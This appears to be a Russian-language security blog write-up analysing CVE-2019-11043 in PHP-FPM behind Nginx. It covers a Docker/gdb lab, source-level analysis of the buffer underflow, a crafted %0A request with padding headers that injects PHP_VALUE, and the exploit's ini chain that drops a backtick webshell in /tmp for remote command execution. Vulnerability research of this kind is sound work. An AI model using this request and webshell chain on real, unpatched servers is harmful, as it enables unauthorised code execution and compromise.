Эксплуатация уязвимости в PHP-FPM Nginx

уязвимость php fpm

Недавно была обнаружена опасная уязвимость в связке из Nginx и PHP-FPM, которая нередко встречается на веб-серверах. Появившийся эксплоит позволяет изменить настройки PHP путем внедрения переменных окружения, а цепочка таких настроек приведет к удаленному выполнению кода. Давайте разбираться в уязвимости в PHP-FPM Nginx и узнаем где накосячили разработчики PHP.

Впервые аномальное поведение было обнаружено Андреем @d90pwn Данау во время квалификации Real World CTF 2019. Сервер странно реагировал на отправленный в URL символ перевода строки (%0a). Этой идеей заинтересовались Омар @beched Ганиев и Эмиль @neex Лернер. Эмиль разобрался, почему так происходит, нашел способ эксплуатации и написал рабочий эксплоит, а Омар довел этот баг до получения RCE.

Суть проблемы сводится к тому, что в некоторых конфигурациях FPM хакер может выполнить атаку типа buffer underflow и осуществить запись в адресное пространство, зарезервированное для данных протокола FastCGI. Это позволит выполнять произвольные команды на удаленной системе.

Уязвимость получила идентификатор CVE-2019-11043 и провокационное для русскоязычного человека название PHuiP-FPizdaM. Для эксплуатации злоумышленику не нужно никаких прав, поэтому уязвимость PHP-FPM Nginx имеет критический статус. Проблема присутствует в обеих ветках PHP — 5 и 7, однако ввиду особенностей оптимизации эксплуатация возможна только в PHP седьмой версии.

Уязвимость затрагивает версий:

  • PHP ветки 7.1.x — все версии ниже 7.1.33
  • PHP ветки 7.2.x — все версии ниже 7.2.24
  • PHP ветки 7.3.x — все версии ниже 7.3.11

Стенд

Для начала нам необходим стенд. В моем случае будет использоватся уже полюбившиеся контейнеры Docker. Если не хотите мудохотся с отладкой, тогда можно просто запустить готовое окружение с vulhub.

docker-compose.yml
version: '2'
services:
  nginx:
    image: nginx:1
    volumes:
      - ./www:/usr/share/nginx/html
      - ./default.conf:/etc/nginx/conf.d/default.conf
    depends_on:
      - php
    ports:
      - "8080:80"
  php:
    image: php:7.2.10-fpm
    volumes:
      - ./www:/var/www/html

Запускается простой командой: docker-compose up -d.

Я хочу посмотреть на уязвимость поближе, поэтому давайте собирем PHP из исходников. Для начала стартуем Debian.

$ docker run --rm -ti --cap-add=SYS_PTRACE --security-opt seccomp=unconfined --name=phprce --hostname=phprce -p80:80 debian /bin/bash
$ apt update

Теперь надо позаботиться об установке нужных пакетов.

$ apt install -y build-essential git autoconf automake libtool re2c bison libxml2-dev libgd-dev curl gdb libssl-dev nginx vim nano

Вытяним последнюю уязвимую версию php — 7.3.10.

$ cd ~
$ git clone --depth=1 --branch PHP-7.3.10 https://github.com/php/php-src.git
$ cd php-src

Настроем PHP с поддержкой php-fpm.

$ ./buildconf --force
$ ./configure --enable-debug --enable-fpm --with-openssl --with-fpm-user="www-data" --with-fpm-group="www-data"

Теперь зайемемся компиляцией и установкой. Здесь все тривиально.

$ make
$ make install

Меняем имена стандартных конфигурационных файлов.

$ mv /usr/local/etc/php-fpm.conf.default /usr/local/etc/php-fpm.conf
$ mv /usr/local/etc/php-fpm.d/www.conf.default /usr/local/etc/php-fpm.d/www.conf

После этого изменяем путь до папки, где находятся конфиги.

$ sed -s -i 's/=NONE/=\/usr\/local/' /usr/local/etc/php-fpm.conf

В конфиге php-fpm (/usr/local/etc/php-fpm.d/www.conf) настраиваем количество дочерних процессов. Чтобы было проще отлаживать, рекомендую поставить 1.

pm = static
pm.max_children = 1

Теперь дело за файлами конфигурации для Nginx.

/etc/nginx/sites-enabled/default
server {
    listen 80 default_server;
    listen [::]:80 default_server;

    root /var/www/html;

    index index.html index.php;

    server_name _;

    location ~ [^/]\.php(/|$) {
        fastcgi_split_path_info ^(.+?\.php)(/.*)$;

        include fastcgi_params;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param PATH_INFO       $fastcgi_path_info;
        fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info;

        fastcgi_pass   127.0.0.1:9000;
        fastcgi_index  index.php;
    }
}

В fastcgi_pass указан адрес нашего PHP-FPM, по умолчанию он висит на 9000 порту. Некоторые части конфига я поясню в процессе разбора уязвимости.

Затем нужно создать файл PHP в корне веб-сервера (/var/www/html/). Тут подойдет даже пустой скрипт, главное, чтобы он имел расширение .php, и Nginx отправлял его к PHP. Я создал index.php, который выводит приветствие.

/var/www/html/index.php
<?php
echo 'Hi there!';

Теперь все готово, можно запускать Nginx.

$ service nginx start

А затем и PHP-FPM через отладчик.

$ gdb --args php-fpm --nodaemonize

Для GDB включаем возможность отлаживать дочерние процессы и стартуем сервис.

set follow-fork-mode child
r
Готовый к работе стенд с PHP-FPM и Nginx
Готовый к работе стенд с PHP-FPM и Nginx

Детали уязвимости

Первым делом заглянем в коммит, который патчит уязвимость.

Коммит, который патчит уязвимость CVE-2019-11043 в PHP 7.3.10
Коммит, который патчит уязвимость CVE-2019-11043 в PHP 7.3.10
/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1151: path_info = env_path_info ? env_path_info + pilen - slen : NULL;
1152: tflag = (orig_path_info != path_info);
/php-src-php-7.3.11/sapi/fpm/fpm/fpm_main.c
1151: path_info = (env_path_info && pilen > slen) ? env_path_info + pilen - slen : NULL;
1152: tflag = path_info && (orig_path_info != path_info);

Как видишь, добавлены дополнительные проверки для переменных path_info и tflag. В этой части кода происходит обработка путей вида /info.php/test.

Поставим брекпоинт чуть выше запатченных строк, на строке 1143, и попробуем отправить GET-запрос с байтом переноса строки (%0a).

http://phprce.vh/index.php/path%0Ainfo.php
/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1141: int ptlen = strlen(pt);
1142: int slen = len - ptlen;
1143: int pilen = env_path_info ? strlen(env_path_info) : 0;
1144: int tflag = 0;
Отработал брекпойнт в функции init_request_info после отправки байта 0x0a
Отработал брекпойнт в функции init_request_info после отправки байта 0x0a

Разумеется, сначала URL попадает в Nginx. Напомню строчку из конфига.

default
location ~ [^/]\.php(/|$) {
    fastcgi_split_path_info ^(.+?\.php)(/.*)$;

Переданный байт переноса строки ломает логику регулярного выражения в директиве fastcgi_split_path_info. В результате переменная env_path_info принимает пустое значение, и pilen становится равной 0. Затем на основе этих значений высчитывается path_info.

/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1151: path_info = env_path_info ? env_path_info + pilen - slen : NULL;

Когда запрашиваемый файл не найден, PHP-FPM идет выше по URI и пытается заново отправить запрос на вышестоящий скрипт, если таковой имеется. Определяется по знакам /. Таким образом, если я запрошу http://phprce.vh/index.php/info.php, то отработает скрипт index.php, так как info.php у меня отсутствует.

PHP-FPM передает управление вышестоящему скрипту если не найден запрашиваемый
PHP-FPM передает управление вышестоящему скрипту если не найден запрашиваемый
/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1113: if (script_path_translated &&
1114:     (script_path_translated_len = strlen(script_path_translated)) > 0 &&
1115:     (script_path_translated[script_path_translated_len-1] == '/' ||
1116:     (real_path = tsrm_realpath(script_path_translated, NULL)) == NULL)
1117: ) {
1118:     char *pt = estrndup(script_path_translated, script_path_translated_len);
1119:     int len = script_path_translated_len;
1120:     char *ptr;
1121:
1122:     if (pt) {
1123:         while ((ptr = strrchr(pt, '/')) || (ptr = strrchr(pt, '\\'))) {
1124:             *ptr = 0;
1125:             if (stat(pt, &st) == 0 && S_ISREG(st.st_mode)) {

Поэтому есть две переменные: script_path_translated — это полный URI, и pt — путь до скрипта выше. В нашем случае они имеют длину 37 (0x25) и 23 (0x17) байта соответственно.

  • script_path_translated — /var/www/html/index.php/path\ninfo.php
  • pt — /var/www/html/index.php
Переменные пути до скриптов и их длина
Переменные пути до скриптов и их длина

На основе этих переменных считается slen.

/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1119: int len = script_path_translated_len;
...
1141: int ptlen = strlen(pt);
1142: int slen = len - ptlen;

А затем высчитывается path_info.

Переменные на основе которых высчитывается path_info
Переменные на основе которых высчитывается path_info
/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1151: path_info = env_path_info ? env_path_info + pilen - slen : NULL;

Сейчас в выражении env_path_info + pilen — slen, только slen отлична от нуля (0xe). Поэтому path_info будет указывать не туда куда нужно, а на адрес, который располагается выше. В моем случае это строка 200 по адресу 0x555556618672. Такая уязвимость называется buffer underflow.

0x555556618680 (реальный адрес значения path_info) - 0x0e (slen) = 0x555556618672
Оригинальный адрес значения path_info и адрес после buffer underflow
Оригинальный адрес значения path_info и адрес после buffer underflow

Если посмотреть на код функции init_request_info дальше, то увидим любопытный кусок.

/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1161: path_info[0] = 0;

Так как мы управляем длиной slen, то сможем записать null-байт в любую позицию выше PATH_INFO. Чтобы понять, что из этого можно извлечь, нужно разобраться, как PHP-FPM работает с переменными окружения. Если посмотреть код чуть дальше, то мы увидим, что там устанавливается одна из них — ORIG_SCRIPT_NAME.

/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1165: FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);

Функция FCGI_PUTENV инициализирована как fcgi_quick_putenv.

/php-src-php-7.3.10/main/fastcgi.h
41: #define FCGI_PUTENV(request, name, value) \
42:   fcgi_quick_putenv(request, name, sizeof(name)-1, FCGI_HASH_FUNC(name, sizeof(name)-1), value)

Если ты посмотришь на её код, то увидишь, что она напрямую модифицирует req->env.

/php-src-php-7.3.10/main/fastcgi.c
1705: char* fcgi_quick_putenv(fcgi_request *req, char* var, int var_len, unsigned int hash_value, char* val)
1706: {
1707:   if (val == NULL) {
1708:     fcgi_hash_del(&req->env, hash_value, var, var_len);
1709:     return NULL;
1710:   } else {
1711:     return fcgi_hash_set(&req->env, hash_value, var, var_len, val, (unsigned int)strlen(val));
1712:   }
1713: }

Эта конструкция инициализируются в самом начале работы с запросом функцией fcgi_hash_init.

/php-src-php-7.3.10/main/fastcgi.c
880: fcgi_request *fcgi_init_request(int listen_socket, void(*on_accept)(), void(*on_read)(), void(*on_close)())
881: {
...
910:   fcgi_hash_init(&req->env);
/php-src-php-7.3.10/main/fastcgi.c
256: static void fcgi_hash_init(fcgi_hash *h)
257: {
258:   memset(h->hash_table, 0, sizeof(h->hash_table));
259:   h->list = NULL;
260:   h->buckets = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets));
261:   h->buckets->idx = 0;
262:   h->buckets->next = NULL;
263:   h->data = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + FCGI_HASH_SEG_SIZE);
264:   h->data->pos = h->data->data;
265:   h->data->end = h->data->pos + FCGI_HASH_SEG_SIZE;
266:   h->data->next = NULL;
267: }

Здесь видим, что req->env — это структура fcgi_data_seg.

/php-src-php-7.3.10/main/fastcgi.c
188: typedef struct _fcgi_data_seg {
189:   char                  *pos;
190:   char                  *end;
191:   struct _fcgi_data_seg *next;
192:   char                   data[1];а
193: } fcgi_data_seg;

В этой структуре хранятся глобальные переменные необходимые для коммуникации процесса PHP-FPM и веб-сервера (в моем случае — Nginx). Здесь pos указывает на адрес текущего буфера, end на адрес, где он заканчивается, а data — на то место, куда нужно записывать данные. Когда блок памяти, выделенный под структуру, заканчивается (pos больше end), то создается новая, а адрес текущей записывается в next.

Например, вот так выглядит эта структура для текущего запроса и данные, которые в ней хранятся.

Структура fcgi_data_seg текущего запроса и данные
Структура fcgi_data_seg текущего запроса и данные

Там находится и наш PATH_INFO. Обрати внимание на адреc pos, он расположен выше, поэтому можно установить указатель на него и записать туда null-байт.

Заголовок структуры в памяти PHP-FPM
Заголовок структуры в памяти PHP-FPM

Но сначала необходимо создать новую структуру fcgi_data_seg. Для этого нужно заполнить свободную память в текущем блоке. Если я буду добавлять символы в путь, то будет меняться и slen. Если еще раз глянуть конфиг Nginx, то мы увидим там QUERY_STRING. В моей конфигурации она объявляется раньше, чем PATH_INFO, а значит и в памяти будет располагаться выше.

/etc/nginx/fastcgi_params
fastcgi_param  QUERY_STRING       $query_string;
fastcgi_param  REQUEST_METHOD     $request_method;
...

Поэтому основной мусор передам через параметры к скрипту. Идея в следующем — нужно, манипулируя частями URL, добиться такой ситуации, когда значение PATH_INFO попадает в новый блок памяти. Тогда между адресом значения PATH_INFO и новым request.env.data.pos будет 34 байта.

Так как мы точно знаем это значение, то можем использовать buffer underflow. С его помощью поставим указатель path_info на request.env.data.pos. У меня получился следующий URL, в твоем случае он может быть другим из-за разницы в адресации памяти. Разница будет в количестве символов А.

http://phprce.vh/index.php/anything%0Athis_value_you_can_see;?AAAAAAA...

Дальше идет еще 1750 букв «A». Не буду приводить их все, чтобы не было похоже на твиттер в день появления смешного мема.

Установим брекпойинт на строку, где происходит запись null-байта (b fpm_main.c:1161) и отправим запрос. Теперь path_info указывает на адрес 0x5555566194a0, а это и есть request.env.data.pos.

Хидер новой структуры fcgi_data_seg до перезаписи pos
Хидер новой структуры fcgi_data_seg до перезаписи pos

Сделаем шаг вперед и посмотрим на состояние структуры теперь.

Заголовок новой структуры fcgi_data_seg после перезаписи pos
Заголовок новой структуры fcgi_data_seg после перезаписи pos

Указатель pos изменился, теперь он имеет значение 0x555556619400. Дальше, как ты уже знаешь, происходит вызов FCGI_PUTENV и добавляется строка ORIG_SCRIPT_NAME и контролируемое нами значение из orig_script_name.

Добавленная строка в переменные окружения
Добавленная строка в переменные окружения
/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1165: FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);

Итак, теперь можно добавлять свои переменные. Нас интересует PHP_VALUE. С ее помощью можно менять настройки PHP.

/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1336: ini = FCGI_GETENV(request, "PHP_VALUE");
1337: if (ini) {
1338:   int mode = ZEND_INI_USER;
1339:   char *tmp;
1340:   spprintf(&tmp, 0, "%s\n", ini);
1341:   zend_parse_ini_string(tmp, 1, ZEND_INI_SCANNER_NORMAL, (zend_ini_parser_cb_t)fastcgi_ini_parser, &mode);
1342:   efree(tmp);
1343: }

Только вот не все так просто. PHP-FPM хранит каждую переменную окружения в структуре fcgi_hash_bucket.

/php-src-php-7.3.10/main/fastcgi.c
172: typedef struct _fcgi_hash_bucket {
173:   unsigned int              hash_value;
174:   unsigned int              var_len;
175:   char                     *var;
176:   unsigned int              val_len;
177:   char                     *val;
178:   struct _fcgi_hash_bucket *next;
179:   struct _fcgi_hash_bucket *list_next;
180: } fcgi_hash_bucket;

Все они хранятся в fcgi_hash_buckets, и в отладчике их можно посмотреть командой p *request.env.buckets.

/php-src-php-7.3.10/main/fastcgi.c
182: typedef struct _fcgi_hash_buckets {
183:   unsigned int               idx;
184:   struct _fcgi_hash_buckets *next;
185:   struct _fcgi_hash_bucket   data[FCGI_HASH_TABLE_SIZE];
186: } fcgi_hash_buckets;

Здесь можно обнаружить добавленную нами переменную.

Добавленная через уязвимость переменная окружения в fcgi_hash_buckets
Добавленная через уязвимость переменная окружения в fcgi_hash_buckets

Наверное, ты уже заметил проблему: целостность структуры нарушена. Как минимум не совпадают длина переменной (var_len) и её значения (val_len). PHP-FPM выполняет проверку целостности и такого жесткого вмешательства не потерпит.

Заглянем в FCGI_GETENV.

/php-src-php-7.3.10/main/fastcgi.h
38: #define FCGI_GETENV(request, name) \
39:   fcgi_quick_getenv(request, name, sizeof(name)-1, FCGI_HASH_FUNC(name, sizeof(name)-1))
/php-src-php-7.3.10/main/fastcgi.c
1687: char* fcgi_quick_getenv(fcgi_request *req, const char* var, int var_len, unsigned int hash_value)
1688: {
1689:   unsigned int val_len;
1690:
1691:   return fcgi_hash_get(&req->env, hash_value, (char*)var, var_len, &val_len);
1692: }

Сначала происходит вызов FCGI_HASH_FUNC. Функция подсчитывает хеш на основе некоторых данных переменной окружения.

/php-src-php-7.3.10/main/fastcgi.h
31: #define FCGI_HASH_FUNC(var, var_len) \
32:   (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
33:     (((unsigned int)var[3]) << 2) + \
34:     (((unsigned int)var[var_len-2]) << 4) + \
35:     (((unsigned int)var[var_len-1]) << 2) + \
36:     var_len)

Я хочу добавить PHP_VALUE. Подсчитаем ее хеш:

('_'<<2) + ('U'<<4) + ('E'<<2) + 9 = 2025
Подсчет хеша PHP_VALUE
Подсчет хеша PHP_VALUE

Нужно найти название, которое будет давать такой же хеш. Добавлять переменные можно используя хидеры в запросе. Если передать любое незарезервированное имя, то к нему добавится префикс HTTP_.

Кастомный хидер TEST в fcgi_hash_buckets
Кастомный хидер TEST в fcgi_hash_buckets

Исходя из формулы, первое значение будет равно (‘P’ << 2) = 320 и длина должна быть равна 9 (как у PHP_VALUE).

320 + x + y + 9 = 2025
x + y = 1696

Естественно, возможных вариантов очень много. Возьмем, например, SLUT. Теперь, когда мы заменим этот добавленный заголовок на переменную PHP_VALUE, все проверки будут пройдены.

/php-src-php-7.3.10/main/fastcgi.c
386: static char *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, unsigned int *val_len)
387: {
388:   unsigned int      idx = hash_value & FCGI_HASH_TABLE_MASK;
389:   fcgi_hash_bucket *p = h->hash_table[idx];
390:
391:   while (p != NULL) {
392:     if (p->hash_value == hash_value &&
393:       p->var_len == var_len &&
394:       memcmp(p->var, var, var_len) == 0) {
395:       *val_len = p->val_len;
396:       return p->val;
397:     }
398:     p = p->next;
399:   }
400:   return NULL;
401: }

Остается только точно попасть в адрес. Для этого воспользуемся еще одним заголовком, который будет выполнять роль паддинга. Он будет подталкивать переданную строку в нужное место. Обрати внимание, что он должен быть перед заголовком Slut. Если посмотреть память, то там хидеры располагаются в том же порядке, в котором были переданы в запросе.

Для теста я возьму опцию session.auto_start=1. Если она будет внедрена, то сервер вернет cookie с сессией. У меня получился такой реквест. Для перебора я просто добавлял символы a в Pimp, и результат контролировал через отладчик с помощью p request.env.buckets.

GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?AAAAAAA… HTTP/1.1
Content-Length: 11
Host: phprce.vh
Connection: close
Pimp: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Slut: was here

1750 букв «А» здесь снова опущены. Отправляем и наблюдаем в ответе хидер Set-Cookie, а значит пейлоад отработал успешно.

Успешная эксплуатация PHP-FPM
Успешная эксплуатация PHP-FPM

Эта опция действительна, пока работает воркер PHP-FPM, который был проэксплуатирован.

Теперь осталось найти цепочку гаджетов из настроек PHP, которые будут давать выполнение кода. Вот что предлагают авторы эксплоита:

attack.go
var chain = []string{
  "short_open_tag=1",
  "html_errors=0",
  "include_path=/tmp",
  "auto_prepend_file=a",
  "log_errors=1",
  "error_reporting=2",
  "error_log=/tmp/a",
  "extension_dir=\"<?=`\"",
  "extension=\"$_GET[a]`?>\"",
}
  • short_open_tag=1 — включает короткую форму записи PHP-тегов;
  • include_path=/tmp — указывает директорию /tmp, в которой PHP будет искать файлы;
  • auto_prepend_file=a — файл с именем а будет автоматически обрабатываться перед вызовом любого скрипта;
  • log_errors=1 — включает логирование ошибок;
  • error_reporting=2 — включает уровень логирования ошибок (E_WARNING);
  • error_log=1 — ошибки будут также логироваться в файл a;

После того как все директивы будут установлены, PHP создаст во временной директории /tmp файл a. В него попадет ошибка, которая в конечном счете будет иметь вид:

<?=`$_GET[a]`?>

То есть это вебшелл через бектики. Разумеется, каждую директиву нужно отправлять отдельным запросом. В итоге мы имеем удаленное выполнение команд.

Удаленное выполнение команд в PHP-FPM 7.3.10
Удаленное выполнение команд в PHP-FPM 7.3.10

Оригинальный эксплоит, написанный Эмилем, ты можешь скачать на гитхабе.

Заключение

Сегодня я разобрал одну из самых интересных уязвимостей за последнее время. Здесь прекрасно все: от обнаружения до написания полноценного эксплоита с критическим импактом. Это отличный пример того, как превратить аномалию в полноценно работающий вектор атаки. Для этого нужно понимать механизм работы исследуемого приложения и усердно ресерчить.

Найденная уязвимость в очередной раз доказывает, что даже в таких крупных продуктах, как PHP, еще полно необнаруженных уязвимостей.

Хотя здесь и имеется определенный список начальных условий, не стоит думать, что они не встречаются в дикой природе. Совсем наоборот. Nginx — штука гибкая и существует огромное количество заведомо уязвимых конфигов. Плюс ко всему разработчики любят копировать готовые настройки друг у друга, не проводя даже минимальный их анализ. Это тоже не прибавляет безопасности.

К слову, дефолтный конфиг Ubuntu 18.04 от падения в пучину RCE отделяет всего одна строка — try_files $fastcgi_script_name =404;.

Дефолтный конфиг fastcgi.conf для nginx в Ubuntu 18.04
Дефолтный конфиг fastcgi.conf для nginx в Ubuntu 18.04

Если ее убрать, то получаем уязвимую среду. А это не такой уж и редкий случай. Представь, что Nginx и PHP-FPM находятся на разных машинах. Такая схема довольно часто используется в продакшене.

Есть еще несколько конфигураций, когда в fastcgi_split_path_info используется более жесткое регулярное выражение, но эксплуатация все еще возможна. Советую посмотреть пулл реквест самого Эмиля. Если хочешь еще глубже копнуть в этом направление, то начни с разбора уязвимости, которую нашел Оранж Цай. У него тоже есть несколько дополнительных способов оптимизировать эксплоит.

Что касается патча, то разработчики довольно быстро отреагировали на инцидент и залатали брешь. Но так как дистрибутивы PHP не так часто обновляются на серверах, то в ближайшее время будет еще множество потенциально уязвимых продуктов. Так что не зевай, следи за обновлениями дистрибутивов и своевременно накатывай патчи! Особенно те, которые повышают безопасность.

Большой респект aLLy!

ВКонтакте
OK
Telegram
WhatsApp
Viber

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *